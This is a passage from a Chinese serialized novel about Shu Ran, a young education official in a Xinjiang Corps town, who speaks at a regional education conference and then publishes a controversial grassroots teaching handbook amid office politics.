“不是去不丢脸就行,”韩局长摆摆手,神色严肃起来,“是要去发出我们兵团基层教育的声音。你要准备的发言,就围绕你这篇文章和这份报告来。既要讲成绩,也要实事求是地讲困难,讲你是怎么在那种条件下,把扫盲班、教学点办起来的。最重要的是,要讲出我们边疆教育工作的特殊性、复杂性。” 他顿了顿,意味深长地看着舒染:“要注意分寸。成绩要讲得扎实,困难要讲得客观,方向要把握得准确。明白我的意思吗?” “我明白。”舒染点头。她当然明白,这是在走钢丝,既要展现能力,又不能触碰某些敏感的界限。 “好。”韩局长脸上露出一丝笑容,“回去好好准备。需要什么资料,找资料室张雅琴。有什么困难,直接向我汇报。” “是。” 从局长办公室出来,走廊里空旷安静。舒染走回指导小组的办公室,推开门的瞬间,李卫国和王娟的目光同时投了过来。 李卫国脸上立刻堆起笑容:“小舒回来了?局长找你什么事?是不是交流会名额定下来了?”他语气热切,带着试探。 王娟也关切地看着她。 舒染走到自己的办公桌前坐下,拿起抹布擦了擦桌面,才抬眼,语气平淡:“局长让我把报告再完善一下。另外,下个月的全疆教育工作交流会,局长决定让我去参加。” 办公室里静了一瞬。 李卫国的笑容僵了一下,随即变得更热络了:“哎呀,恭喜啊小舒!这可是大好事!我就说嘛,局长肯定要重点培养你!你去最合适了,基层经验丰富,又有理论水平!” 王娟也真心实意地笑道:“舒老师,太好了!你一定能行的!” 舒染对王娟笑了笑,然后看向李卫国,语气依旧平淡:“组长过奖了。局长要求发言要结合基层实际,我压力不小,到时候还需要组长和娟姐多帮忙把关。” “没问题!绝对没问题!”李卫国拍着胸脯,“需要组里怎么配合,你尽管说!” 舒染点点头,不再多说,低头开始整理桌上的文件。李卫国在她身后站了一会儿,没话找话地夸了几句她工作认真,才坐回自己的位置。 下班后,她等李卫国和王娟都走了,才锁好办公室的门,独自下楼。 V城的傍晚带着一丝凉意,远处的天山山脉轮廓清晰。 回到宿舍,刘惠正在门口的小煤炉上炒菜,见她回来,扬了扬锅铲:“回来了?刚好我们一起吃个饭。对了,听说你要去参加那个交流会?” 消息传得真快。舒染并不意外,点了点头,“嗯,刚定的。” “好事!”刘惠动作利落地把菜盛到盘子里,“这可是露脸的机会。不过……”她压低声音,朝四周看了看,“我可听说,这次交流会,不光是我们疆内的,好像还有别的地方的代表,水浑着呢。你一个人去,得多长几个心眼。” 张雅琴也端着洗好的碗筷从屋里出来,接话道:“刘姐说得对。舒老师,你年轻,又是女同志,成绩又突出,容易被人盯上。发言稿一定要字斟句酌,该说的说,不该说的一句也别多说。” 舒染心里暖暖的,接过张雅琴手里的碗筷摆好,“谢谢刘姐,张姐,我记住了。局长也是这么交代的。” 吃饭的时候,刘惠和张雅琴又你一言我一语地说了不少打听来的关于交流会的信息,哪个地区的代表比较务实,哪个单位的喜欢唱高调,需要注意什么等等。舒染认真地听着,默默记在心里。 接下来的日子,舒染继续忙碌着。白天,她处理指导小组的日常事务,应对着李卫国表面热情的配合,以及王娟的帮忙。更多的时候,她泡在资料室,在张雅琴的帮助下,查阅历年的教育文献、政策文件,核实每一个可能用到的数据。 她的交流稿写了一遍又一遍,模拟可能遇到的提问。韩局长的嘱咐让她紧绷着弦,既得讲出边疆的特色、兵团的艰辛与成绩,又要把握好那个微妙的分寸。 几天后,舒染收到了一封意外的来信。信封上的落款是“红星岩牧业队教学点,姜咏红”。 她有些疑惑地拆开信。姜咏红是她在危机中暗中走访稳定下来的那个教学点的负责人。信写得字迹工整: “舒老师:您好!冒昧给您写信。我们在《边疆教育报》上看到您的文章,大家都非常激动。您文章里写的,就是我们每天都在经历的事情。谢谢您没有忘记我们这些偏远的教学点。我们都支持您!盼您有机会再来指导。姜咏红敬上。” 舒染捏着信纸久久没有说话。随后她将信仔细折好,收进抽屉里,继续工作。 第146章 发言稿的第五遍修改刚刚完成, 舒染揉了揉发胀的太阳穴,准备去水房打点热水。刚站起身,办公室的门被敲响了。 “请进。” 推门进来的是宣委办的干事小赵, 脸上带着几分殷勤的笑:“舒老师,忙着呢?” “赵干事, 有事?”舒染放下茶杯,心里有些疑惑。她跟宣委办的人打交道不多。 小赵搓了搓手,笑道:“是这么回事, 我们领导看了您在《边疆教育报》上的那篇文章,觉得写得特别好,特别有代表性!他想请您抽空给我们办的年轻同志做个内部交流,讲讲您基层工作的经验, 特别是怎么发现问题、解决问题的。您看……” 舒染微微蹙眉。在她全力准备交流会的关键时期, 宣委办突然来这么一出, 目的恐怕不那么单纯。是真心取经, 还是想探她的底?或者, 是有人想借此机会做点文章? 她脸上露出恰到好处的歉意:“赵干事, 谢谢你们的看重。不过真是不巧,韩局长亲自交代了任务, 让我全力准备下个月的全疆教育工作交流会,发言稿还在反复打磨。实在是抽不出时间, 怕耽误了你们的工作,也辜负了局长的信任。” 小赵脸上的笑容僵了一下, 随即又堆得更满:“理解, 理解!舒老师任务重,是我们考虑不周。那……等您开完会回来,有机会再请您?” “到时候看局里安排吧。”舒染语气温和。 “哎, 好,好。”小赵点头,又客套了两句,转身走了。 舒染关上门,眼神沉静下来。看来即将参加的交流会,确实让她成了某些人眼中的焦点。 这件事很快扩散开来。 下午,舒染去资料室查一份往年的教育统计年鉴,正好碰到李卫国也在。李卫国看见她,立刻笑着打招呼:“小舒啊,准备得怎么样了?听说宣委办都想请你去讲课了,真是名声在外啊!” 他这话声音不小,资料室里其他几个科室的人都看了过来。 舒染面色不变,走到张雅琴办公桌前,一边登记借阅,一边淡淡回道:“组长说笑了,赵干事就是过来随口一问。我现在所有精力都放在交流会的准备上,别的实在顾不过来。韩局长说了,这是当前局里的头等大事。” 她再次抬出了韩局长,成功地让李卫国脸上的笑容又淡了几分。 “那是,那是,局长亲自抓的工作,最重要。”李卫国干笑两声,拿着自己要找的资料快步走了。 张雅琴把找好的年鉴递给舒染,趁着没人注意,低声说:“舒老师,你做得对。你现在风头正劲,不知道多少人看着呢,小心点没错。” 舒染接过资料,低声道谢:“我知道,张姐。谢谢您。” 抱着资料回到办公室,王娟正在帮她整理一些基层报上来的扫盲数据表格,见她进来,小声说:“舒老师,刚才你不在,教研室的刘老师过来串门,跟组长聊了几句,好像也提到你去交流会的事了。” 舒染放下资料,拿起抹布擦手,“刘老师说什么了?” “也没说什么,”王娟回忆着,“就问了一句你是不是确定要去了,还说你年轻,担子重,让组长多支持你工作。” 舒染擦手的动作顿了顿。刘惠?她特意过来就为了说这个?是单纯的关心,还是听到了什么风声,借王娟的口来提醒她? 她不动声色地对王娟笑了笑:“刘姐是热心肠。那这些数据麻烦你了,我核对完发言稿就用。” “不麻烦,不麻烦。”王娟连忙摆手。 下班后,舒染没有直接回宿舍,而是绕道去了局里的小卖部,用粮票买了两个水果罐头。回到宿舍,刘惠正在做饭,张雅琴在摘菜。 舒染把罐头放在桌上,“刘姐,张姐,尝尝这个,今天刚买的。” 刘惠看了一眼,“哟,今天怎么这么大方?” “最近老是熬夜,脑子有点转不动,买点甜的补充补充。”舒染笑了笑,状似随意地说起,“下午宣委办的赵干事来找我,想让我去给他们那边讲讲基层经验,我给推了。韩局长交代的任务重,实在没时间。” 刘惠炒菜的动作没停,哼了一声:“推得好!他们请你去,指不定……哎!你现在关键时期,少跟他们掺和。” 张雅琴也点头:“是啊,小舒。你现在目标要明确,就是把交流会发言准备好。别的,能推就推,能躲就躲。” 舒染心里有了底。刘惠和张雅琴的态度,印证了她的判断。 “嗯,我知道轻重。” 夜里,舒染对着修改好的交流稿进行最后一次默诵。窗外的V城进入宁静,只有远处偶尔传来几声狗吠。 出发前往交流会所在地的前一天,韩局长又把舒染叫到了办公室。 这一次,办公室里多了一个人,一位戴着黑框眼镜的中年男人。 “舒染同志,这位是周书记,分管组织和宣传工作的。”韩局长介绍道。 舒染心里微微一凛,面上恭敬地打招呼:“周书记好。” 周书记打量了舒染几眼,语气还算温和:“舒染同志,你的文章和报告,我都看了。不错,很有想法,也敢于直面问题。这次派你去参加交流会,是经过慎重考虑的。” “谢谢组织信任。”舒染态度谦逊。 “信任是一方面,责任是另一方面。”周书记语气严肃起来,“这次交流会,不同于我们内部的会议。届时,各地区的代表,部里的领导,甚至可能还有新闻单位的同志都会在场。你的发言,不仅仅代表你个人,也代表我们,代表我们兵团基层教育工作的形象。” 他顿了顿,加重了语气:“所以,发言一定要牢牢把握正确的政治方向。成绩要充分展示,困难要客观反映,但更重要的是,要体现出我们在艰苦条件下,坚持的教育方针,培养建设者和接班人的决心和成效。要传递出积极的、向上的正能量。明白吗?” “我明白,周书记。我的交流稿已经严格按照韩局长的指示修改完善,并且请韩局长审核过了。”舒染回答得不卑不亢,同时点明了稿子已获直属领导首肯。 韩局长在一旁接话:“是的,周书记,稿子我看过了,把握得很有分寸。” 周书记这才点了点头:“那就好。舒染同志,你还年轻,前途无量。这次是个很好的学习和锻炼机会,要珍惜,也要谨慎。遇到不确定的情况,多向一起参会的老同志请教。” “是,我一定牢记周书记的教导。” 从局长办公室出来,舒染后背沁出了一层汗。 回到办公室,她最后一次检查了行李。发言稿的最终版本被她用牛皮纸仔细包好,放在随身背包的最里层。除此之外,她还带上了那本《工作手册》,以及几封有代表性的基层来信。 李卫国破天荒地主动提出帮她拎行李送到门口的车站,被舒染婉拒了。 “舒老师,路上小心,祝你一切顺利!”王娟帮着把行李搬上来接她的吉普车,小声祝福着。 “王娟通知,谢谢你,组里的事就麻烦你了。” 吉普车发动,驶出大院。舒染透过车窗看到刘惠和张雅琴站在宿舍门口,朝她挥手。她也抬手挥了挥。 车子穿过V城的街道驶向城外。驶出城外后路况就变得不好了,颠簸得厉害。 舒染靠在后座上,闭目养神。要前往的地点,她只在文件上见过这个名字,知道那是一个比V城大得多,也重要得多的城市。那里汇聚着来自各地的人物,有着更复杂的局面。 几天后,风尘仆仆的吉普车终于抵达了。这里有着柏油马路,整齐的楼房,街上行人的穿着也体面不少。 交流会报到处设在市中心的一个公派招待所。一栋三层的建筑,院子里停着不少车辆,挂着各地牌照。人来人往,各种口音混杂在一起。 舒染提着行李,走进招待所大门。大厅里灯火通明,负责报到的工作人员态度程式化,核对了她的介绍信和名单,递给她一个牛皮纸文件袋和一把钥匙。 “三楼,307房间。这是会议材料和餐券。会议明天上午九点,在二楼大会议室。”工作人员语速很快,头也没抬。 “谢谢。”舒染接过东西,拎起行李走向楼梯。 楼梯是木制的,踩上去会发出声响。她找到307房间,用钥匙打开门。 房间不大,摆着两张单人床,一个写字台,两把椅子。条件比V城的宿舍好些,窗户关着,空气有些闷。 同房间的人还没到。舒染放下行李,走过去推开窗户。风吹进来,她深深吸了口气,看着楼下院子里熙攘的人群。 她简单收拾了一下,拿出会议材料翻看。厚厚的议程册,密密麻麻的名单和发言题目。她很快找到了自己的名字和发言时段——安排在第三天下午,一个不算起眼的位置。 她正看着,房门被推开,一个四十多岁的女同志提着行李走了进来。 “你好,是舒染同志吧?”对方笑着打招呼,态度爽朗,“我叫孙梅,来自xxxx教育局。名单上看到咱们住一个屋。” 舒染站起身,露出笑容:“孙梅姐您好,我是舒染,V城教育局的。快请进。” 孙梅很健谈,一边收拾东西一边和舒染聊天:“我看了参会名单,你可是咱们这次交流会里最年轻的代表之一了!了不得!听说你在《边疆教育报》上发表过文章?” 消息传得真快。舒染心里想着,面上谦虚道:“孙梅姐过奖了,就是一篇工作总结性质的稿子,侥幸被采用了。” “那可不是侥幸,”孙梅摆摆手,“我拜读了,写得实在!不像有些文章,空话套话一大堆。咱们基层工作,就需要你这种敢说真话,能干实事的同志!” 舒染从孙梅的态度里感受到了一丝真诚,稍稍放松了些,笑着回应:“孙梅姐您才是老教育工作者,经验丰富,我还要多向您学习。” 两人互相客气了几句,气氛融洽。舒染从孙梅那里了解到,这次交流会确实规模不小,来了不少有名堂的人物,包括几位经常在相关刊物上发表文章的笔杆子,还有部里的一位领导亲自带队。 “明天开幕式,估计就能见到真佛了。”孙梅压低声音,“我听说,这次会议,除了交流经验,可能还要讨论下一步的工作方向,甚至……涉及一些人事变动的风声。” 舒染心中一动,面上却不露声色:“是吗?那更要认真听听了。” 晚上,她和孙梅一起去招待所食堂吃了饭。食堂里人声鼎沸,各地代表聚在一起。舒染安静地吃着,耳朵却留意着周围的谈话。她听到了关于各种教育试点、关于经费、关于政策的只言片语,信息庞杂而零碎。 回到房间,孙梅还在兴致勃勃地翻看会议材料,不时点评几句。舒染则以准备交流发言为由,坐在写字台前,再次摊开了自己的稿子做着最后的检查。 交流会的开幕式果然阵容强大。能容纳数百人的大会议室座无虚席。主席台上就坐的除了东道主地区的领导,还有来自部里的李司长,以及几位在教育界颇有声望的专家。 李司长做了主旨报告,台下掌声不断。 舒染坐在靠后排的位置,认真听着,笔记本上记下要点。她能感觉到,李司长的报告定下了这次会议的基调——既要肯定成绩,更要开拓创新。 接下来的分组讨论和大会发言,气氛开始变得微妙起来。来自相对发达地区的代表,发言中更多强调规范;而来自边疆或者基层的代表,则更侧重于讲述艰苦条件下的坚守,以及办法的有效性。 舒染仔细听着每一个发言,观察着台上台下人们的反应。她心里渐渐有了数。 轮到舒染交流发言那天下午,会场里的人似乎比前两天少了一些,或许是因为会议接近尾声,也或许是因为她这个名字对大多数人来说还太陌生。 她稳步走上讲台。台下黑压压的人头,目光汇聚在她身上。她看到了前排正中央的李司长,看到了作为地区领导也赶来参加了会议的周书记,也看到了旁边席位上一些代表。 她调整了一下话筒,“各位领导,各位同志,我叫舒染,来自V城教育局。今天,我想向大家汇报的,不是高深的理论,也不是完美的成绩,而是我们在边疆基层,特别是农牧团场和牧区,开展扫盲和基础教育工作时,遇到的一些真实情况,和我们摸索出来的一些土办法。” 这个开场白让大部分人有些意外,吸引了不少人的注意力。那些原本有些漫不经心的目光,重新聚焦到了她的身上。 舒染没有看稿子,她从畜牧连启明小学的第一个工具棚教室讲起,讲教学点遇到的问题,以及他们如何吸取教训改进方法;讲那些基层代课老师的艰辛与坚持…… 她没有回避困难,师资的匮乏,物资的短缺,观念的阻力,她都一一陈述。但她更着重讲的是如何在这些困难面前立足实际,寻找办法。她引用了自己文章里的核心观点并结合一个个生动的例子进行阐述。 当她讲到姜咏红在那封来信中时,台下开始安静下来。 “……各位领导,各位同志,”舒染的声音提高了一些,她扫视全场,“我认为,边疆的教育工作,乃至我们国家许多基层地区的教育工作,它的特殊性就在于,我们必须首先解决有用的问题。只有解决了这个生存教育,文化教育的推进才能顺畅,理想教育的引领才能真正入人心。脱离了这个实际,任何美好的蓝图都可能成为空中楼阁。” 她略微停顿了一下,会场里鸦雀无声。 “我的发言完了。谢谢大家。” 短暂的寂静之后,掌声响了起来。起初有些零散,随即变得热烈。舒染看到台下不少来自基层的代表,一边用力鼓掌,一边朝她投来赞许和激动的目光。她也看到,前排的李司长微微颔首,和旁边的专家低声交流了几句。周书记的脸上则露出了欣慰笑容。 她回到座位,旁边的孙梅立刻凑过来,低声道:“小舒,讲得太好了!” 后续的几位发言者,似乎都受到了舒染发言的影响,或多或少地开始结合起实际来。会议的气氛发生了一丝变化。 晚上,舒染在食堂吃饭时,明显感觉到落在她身上的目光多了起来。 她刚坐下,一位中年男子端着饭菜走了过来。 “舒染同志,方便一起坐吗?”他微笑着问。 舒染认出,这是白天在主席台就坐的一位专家。舒染快速回想着这人的身份:姓吴,是国内知名的教育学者,以关注基层著称。 “吴教授,您请坐。”舒染连忙起身。 吴教授在她对面坐下,态度很随和:“下午听了你的发言,很受启发。特别是你那个生存教育先行的提法,很有见地,也很有现实针对性。你的那篇文章,我也拜读了,今天听你现场讲出来,感受更深。” “吴教授您过奖了,我只是把基层同志们的实践做了个总结。” “实践出真知嘛。”吴教授笑了笑,话锋一转,“我注意到,你发言里提到了一本《边疆基层教育标准化工作手册》?” “是的,还在不断完善自改中,不是很成熟。” “能不能找个时间,让我看看?”吴教授目光中带着期待,“我觉得,你这个思路很好。基层工作需要指导,但不能是脱离实际的指导。你这个手册,如果真能结合你所说的那些办法形成一套可操作的标准,那意义就非同一般了。” 吴教授的认可和主动提出要看手册,这无疑是一个机会。她压下兴奋回答道:“当然可以!能得到吴教授的指点,是我的荣幸。手册我带着,明天我拿给您?” “好,那就明天会后吧。”吴教授点点头,又和舒染聊了几句关于基层教育的问题,才起身离开。 吴教授刚走,周书记就走了过来,脸上带着笑意:“小舒,表现不错!李司长刚才也肯定了你的发言。吴教授可是很少主动找年轻同志交流的,这是个好机会!” “谢谢书记,我会把握住的。”—— 作者有话说:这几章写得我龇牙咧嘴,因为……班味儿十足[捂脸笑哭] 第147章 舒染与吴教授的交流非常顺利。 在招待所一间临时借用的小会议室里, 吴教授花了整整一个下午的时间翻阅了舒染那本《工作手册》。 他看得很慢,不时停下来询问某个具体操作方法的细节,或者某个案例的背景。 舒染准备充分, 对答如流。她不仅解释了手册里的内容,还延伸开去, 讲述了更多基层的实际情况和摸索过程。她的叙述让吴教授频频点头。 “了不起,真是了不起。”吴教授合上手册初稿,摘下眼镜揉了揉眉心, 语气中带着赞赏,“舒染同志,你这本手册,虽然还算不上完美, 但其价值远超过许多所谓学术论文。我觉得它是接着地气, 给我一种蓬勃的感觉。” 他重新戴上眼镜, “你有没有想过, 把这份手册进一步完善, 争取正式出版?” 正式出版?舒染有些惊讶。这无疑是她期望的, 但由吴教授这样地位的学者亲口提出,意义完全不同。 她谨慎地回答:“吴教授, 我当然希望它能对更多的基层教育工作者有所帮助。但是以我现在的水平和资历,恐怕……” “水平和资历不是问题。”吴教授摆摆手, 打断了她,“真正有价值的东西不会被埋没。我看重的是你这里面的内容, 是你的思路。如果你同意, 我可以帮你推荐给出版社。当然,出版前还需要进行系统的整理、润色和提升,使其更具普遍指导意义。这个过程, 我可以指导你。” 舒染几乎要立刻答应,但她很快冷静下来。 “吴教授,能得到您的指导和推荐,我感激不尽!这是我做梦都不敢想的机会。但是……”她顿了顿,语气坚定,“我希望,这本手册的核心内容,它所依据的基层实践,它的基本框架和导向,能够保持原貌。它可能不够高大上,但它必须是实用的,能真正帮到那些在艰苦环境下工作的老师们。” 吴教授愣了一下,随即笑了起来,笑容里带着理解和欣赏:“好,说得好!我要推荐的就是你这个原貌,就是这个实用!如果把它修改得面目全非,成了又一本不接地气的理论书,那还有什么意义?你放心,我的指导是在保留你核心内容和风格的基础上,让它更规范,更系统,更具可读性。” “谢谢吴教授!”舒染真心实意地鞠了一躬。 “别客气。”吴教授扶了扶眼镜,“这样,会议结束后,你回去抓紧时间,根据我们今天讨论的意见,先把它系统地修改一遍。重点把案例再充实一下,把那些操作流程写得再细致些。改好后寄给我。我来联系出版社。” “是!我一定尽快完成!” 舒染送走了吴教授回到房间。手册出版,由吴教授这样的权威推荐,这意味着她的工作成果将得到官方的认可和推广,她的影响力将不再局限于V城,甚至不再局限于边疆。 孙梅见她回来,好奇地问:“谈得怎么样?吴教授很欣赏你吧?” 舒染将吴教授愿意指导并推荐出版手册的事情简单说了,不过说得笼统,也保留了细节部分。 孙梅瞪大了眼睛,“哎呀!小舒!你这可是要一步登天了!吴教授那可是教育界的这个!”她翘起大拇指,“有他推荐,你这本书肯定能成!到时候,你可就是教育专家了!” 舒染笑了笑,心里却清醒得很。机遇越大,责任和压力也越大。这本书一旦出版,她将站得更高,接受的审视越多。而且,修改手册的工作量巨大,她必须投入更多的时间和精力。 交流会的最后一天,是总结大会和闭幕式。李司长做了总结发言,在提到基层工作经验时,他特意提到了舒染的发言,认为其“内容丰富,思考深入,体现了边疆教育工作者扎根基层、勇于探索的精神”。 这几乎是对舒染此次参会表现的最高肯定。 闭幕式结束后,各地代表开始陆续离会。周书记找到舒染,脸上满是春风得意。 “小舒啊,这次你可是给我们给我们立了大功了!”他脸上露出赞赏的神色,“李司长的肯定,吴教授的赏识,这都是成绩!回去我就向上面汇报!你放心,局里一定会全力支持你接下来的工作!” “谢谢书记支持。” “手册出版的事,是头等大事,”韩局长压低声音,“需要什么支持尽管提。时间、资料,局里给你开绿灯,一定要把这件事办好,办漂亮!” “我明白。” 回程的吉普车似乎比来时要轻快许多。舒染靠在车窗上,看着窗外飞速掠过的景色,心中充满了对未来的筹划。 车子颠簸了一下,将她从思绪中拉回。 这次交流会是她事业上一个重要的转折点。她若是能抓住机会,也许能从一个基层工作者步入能够影响政策的专家型人才。 不过,她得更加谨慎才行,不能被这巨大的喜悦冲昏头脑。伴随着手册出版带来的声望,也必然伴随着更复杂的局面和挑战。 陈远疆除了上次的那一封信,再也没消息。个人的情感固然重要,但她亲手开拓的这片事业天地同样广阔且值得奋斗。 * 回到原来的单位,日子又回到了原来的轨道,却又截然不同。 表面上看一切照旧。舒染依旧每天准时出现在办公室,处理着似乎永远也整理不完的基层报表,应对着同事们那愈发微妙的关怀。 她去其他处室办事遇到的人笑容更热切了几分;去资料室,张雅琴会主动帮她留意最新到的相关书刊;甚至去食堂打饭,大师傅舀给她的菜似乎都比别人多一勺。 韩局长见过她一次,没有多余的寒暄,直接询问手册修改的进展。 “修订思路已经理清了,主要是补充案例,细化操作流程,正在抓紧整理。”舒染汇报。 “嗯,”韩局长点头,“吴教授那边,要保持联系,及时汇报进度。需要局里提供什么,打报告上来。这是政治任务,不能有丝毫马虎。” “我明白。” 压力来了。舒染很明白这本手册不再仅是她个人心血的结晶,而是承载了更多。 她几乎将所有业余时间都投入到了手册的修订中。宿舍的桌上铺满了草稿、基层来信和各类参考文件。 与吴教授的通信成了她这段时间的必要工作。吴教授的回信总是很及时,字里行间充满了鼓励,在具体细节上提出了许多建议。 “案例选取贵精不贵多,要能典型反映某一类问题及其解决方案。” “操作流程的描写,可考虑采用步骤分解与要点提示相结合的方式,更便于基层教师理解和执行。” “关于‘生存教育’与‘文化教育’的衔接部分,理论深度可稍作加强,但切记不可脱离你原有的实践基础。” 舒染将这些建议融入修改稿中。这个过程对她而言也是一次学习和提升。 一天下午,舒染正在埋头修改手册,李卫国端着茶杯踱了过来,状似随意地开口:“小舒啊,忙手册呢?听说你经常和北京的那位吴教授通信?” 舒染从稿纸中抬起头,神色平静:“是的,处长。吴教授关心手册的修改进度,给了我很多指导。” “哦,那是好事。”李卫国吹了吹茶杯上的浮沫,慢悠悠地说,“不过啊,小舒,有句话我不知道当讲不当讲。” “组长请说。” “这位吴教授,学问是好的,名声也大。但是……”他的声音带上了几分推心置腹的意味,“他的一些观点,在学术界也不是没有争议。你跟他通信,学习可以,但也要注意把握分寸,别被他带了节奏。咱们边疆的工作,还是要立足于咱们自己的实际,对不对?” 舒染面上不动声色:“谢谢组长提醒。我会注意的。吴教授指导的主要是手册的学术规范和表述方法,核心内容始终是我们边疆基层的实践总结。” 李卫国干笑两声:“那就好,那就好。你心里有数就行。”说完,端着茶杯又踱回了自己的座位。 舒染低下头继续修改稿子。 经过数月废寝忘食的奋战,手册的修订稿终于完成。舒染仔细誊写清楚,附上一封详细的说明信,寄往首都吴教授处。 随后的日子她照常工作,但心思总不由自主地飘向远方,揣测着吴教授对修订稿的评价,担忧着出版事宜是否顺利。 一个月后,吴教授的回信终于到了。信很厚。 舒染屏着呼吸拆开信封。 吴教授在信中对她的修订工作给予了正面评价。他告知,已将书稿推荐给他相熟的一家国家级教育出版社,出版社方面初步审阅后兴趣很大,已进入进一步的阶段。 喜悦冲散了连日来的疲惫和焦虑。 舒染第一时间向上级做了汇报。领导们当即指示办公室行文,以兵团的名义向出版社发函,表示对出版工作的全力支持。 消息在局里传开。祝贺的声音更多了,但舒染也察觉到一些目光变得更加复杂。 有些同事见到她时,笑容愈发夸张,言语间透着恭维。 宣委办的主任在一次偶遇时,意味深长地说了句:“小舒啊,要出版著作了?这可是大事,以后说话做事,更要谨言慎行喽。” 舒染没说什么,只是淡然一笑。所有的事情都要等到书籍面世的那一刻才能落地。 又过了两个月,出版社的正式出版合同寄到了教育局。韩局长亲自召集了干部开会,通报了这一喜讯,并将手册出版列为局里本年度的重点宣传工作之一。 也就在合同签订后不久,第一波争议出现了。 一天,舒染被叫到局长办公室。周书记也在,脸色不太好看。 “舒染同志,”周书记开门见山,将一份内部通讯稿推到她面前,“你看看这个。” 舒染拿起一看,是一份来自某个东部省份教育部门的内部交流材料,其中有一段不点名地提到了“近期某些来自边疆地区的教育经验总结,过分强调条件的特殊性,存在忽视和淡化教育普遍规律的倾向,值得警惕。” 虽然没有点名,但指向性十分明确。 “你怎么看?”周书记盯着她。 舒染放下材料,神色平静:“周书记,我认为这份材料的批评是片面的,甚至可以说是误解。我的手册通篇强调的,正是在特殊条件下,如何更有效地贯彻教育方针,如何让教育贴近群众。我们并没有否定普遍规律,而是在探索的特殊环境下的具体实现形式。如果连最基本的文化知识都无法有效传递,所谓的思想引领就可能无法推动。” 在领导看来,她的回答有理有据。 韩局长在一旁点了点头,接口道:“书记,我看小舒说得对。部分人不太了解我们边疆的实际情况,我们不能被这种声音干扰。” 周书记脸色稍缓,但还是叮嘱道:“道理是这个道理。但既然出现了这种议论,说明手册出版后,肯定会面临各种不同的声音。舒染同志,你要有充分的心理准备。尤其是,”他着重强调道:“如果这本书真的引起了全国范围的关注,到时候的议论,可能就不止于此了。” 从办公室出来,舒染的心情有些沉重。她知道上级的担忧并非多余。这根植于不同地域、不同视角、不同理念的碰撞,绝非轻易能够调和。 出版社的编辑工作推进着。舒染与那边的编辑通过信件和偶尔的长途电话沟通,对书稿进行最后的打磨。编辑对书稿评价很高,认为其填补了国内在边疆及贫困地区基层教育实践指导方面的空白,但也委婉地提醒,书中的一些具体做法和提法,可能会在学术界和教育界引发讨论。 “讨论”,这个词用得含蓄,但舒染明白其中的含义。 这期间,她收到了吴教授的另一封信。吴教授在信中透露,出版社计划在书籍出版后,组织一次小范围的研讨会,邀请部分教育界的专家学者参加,以期扩大影响。同时,他也提醒舒染,随着书籍出版日期的临近,一些潜在的争议可能会提前出现,让她稳住心神,坚信自己工作的价值。 果然,不久后,在一份国内颇有影响力的教育类报纸上,出现了一篇署名文章,讨论“基层教育经验总结的规范化与科学性问题”。文章虽然没有直接点名舒染的手册,但多处引用了类似她的观点进行商榷,认为基层探索固然可贵,但警惕陷入实用主义的窠臼。 孙梅来信提到了此事,刘惠、张雅琴等都为她担心。李卫国等人在她面前说话更加“语重心长”,仿佛早已预见此事。 单位内部也出现了一些不同的声音。有领导认为,应该更稳妥一些,建议舒染对手册中一些敏感或可能引起争议的表述进行修改,甚至可以考虑暂缓出版,以待时机更成熟再议。 一天晚上,韩局长特意让舒染留下来。 “外面的声音,你都听到了吧?”韩局长点燃一支烟,问道。 “听到了。”舒染点头。 “怕吗?” 舒染沉默片刻,抬起头,“局长,说实话,有点压力。但我不怕。手册里写的每一个字,都是我和无数基层教育工作者用走出来干出来的。它可能不符合某些人的理论,但它真实有用。如果因为怕争议就不敢发声,那我们就永远无法让更多人了解边疆教育的真实情况,也无法推动那些真正适合基层的办法被看见被应用。” 韩局长深深吸了一口烟,烟雾缭绕中,他说:“你说得对,我们兵团人什么时候怕过争议?当年垦荒戍边,面对的条件比现在艰苦百倍,流言蜚语也不少,我们不也一步步走过来了。你这本书,不仅仅是你个人的成绩,更是我们兵团教育事业发展到一定阶段的进步,它代表了一种声音,一种来自基层声音,这个声音,必须发出去。” 他掐灭烟头,“出版计划不变,一切按原计划进行,你只管把最后的工作做好。” 经历了漫长的等待和前期不断的舆论发酵,手册终于在全国范围内正式出版发行了。 淡黄色的封面,朴素的装帧,扉页上印着“兵团教育组编舒染主编著”的字样。当舒染第一次将新书捧在手里时,眼眶忍不住有些湿润。这一册书凝聚了她太多心血,也承载了太多人的期望。 书籍发行后,最初的反响是热烈而积极的。尤其是广大边疆地区、贫困地区的基层教育工作者,对这本书颇有好评。书中所描述的困难,他们感同身受;书中所提供的土办法,他们觉得能解需求。来自这些地区的赞扬信、感谢信一封封发向出版社和教育局,许多基层教师来信诉说这本书给他们工作带来的实际帮助和巨大鼓舞。 “看了舒老师的书,我才知道,原来我们那些被看不起的土办法,也是有价值的!” “这本书给我们这些在艰苦地区摸索的人指明了方向!” “感谢舒老师没有忘记我们这些最一线的教育工作者!” 紧接着,争议和批评的声音也如约而至。 一些教育理论界的学者在专业刊物上发表文章,对手册提出了批评。这些批评文章颇具杀伤力。很快,一些教育类的报纸、杂志上也出现了跟进讨论的文章,形成了支持与反对两派观点激烈交锋的局面。 争论的焦点,集中在“生存教育”与“文化教育”、“思想政治教育”的关系,基层探索与普遍规律、大形势的教育方针如何协调等问题上。 舒染的名字,连同她的理念,一次次出现在这些争论文章中,被反复剖析、讨论。 她一下子被推到了全国教育舆论的风口浪尖。 舒染所在的单位内部的氛围也变得微妙起来。支持者认为舒染为兵团争了光,敢于发声;而一些原本就持保留态度的人,则在私下议论,认为舒染风头出得太大,给局里惹来了不必要的麻烦。 面对这毁誉参半的局面,舒染照常上班,下班,修改下一阶段的工作计划,仿佛外界的纷扰与她无关。 只有和舒染亲近些的人知道,她书桌上除了工作文件,也多了许多来自各地的报刊,上面用红笔圈点出那些关于她的讨论文章。 她在看,在思考。 舒染没有急于站出来反驳那些批评。因为她知道,有些争论靠的不是一时的口舌之快,而是时间的检验和实践的证明。 这天,她收到了一封特别的信。信封上的落款是“畜牧连的王桂兰和李秀梅”,而信封里,除了舒染熟悉的笔迹,还夹着几片用炭笔写满了字的杨树皮。 信里说,她们跑遍了周围几个教学点的老师,询问他们对那本手册的评价,听说老师们把手册里适合的方法都挑出来,一条条试,效果很好。 这片树皮是从那些教育点里挑出来的,教学点的老师们非要让她寄过来的。 看着树皮上面稚嫩的字迹,上面表达着对她的思念和赞美,舒染的眼泪终于忍不住掉了下来。 第148章 手册引发的论战在教育界持续发酵, 舒染这个名字在赞誉与质疑的漩涡中,被反复提及。单位内部的氛围就象是V城的天气,乍暖还寒。 李卫国脸上的笑容越发显得皮笑肉不笑, 偶尔飘过来的眼神里,混杂点幸灾乐祸, 仿佛在说“看吧,出风头总是要付出代价的”。 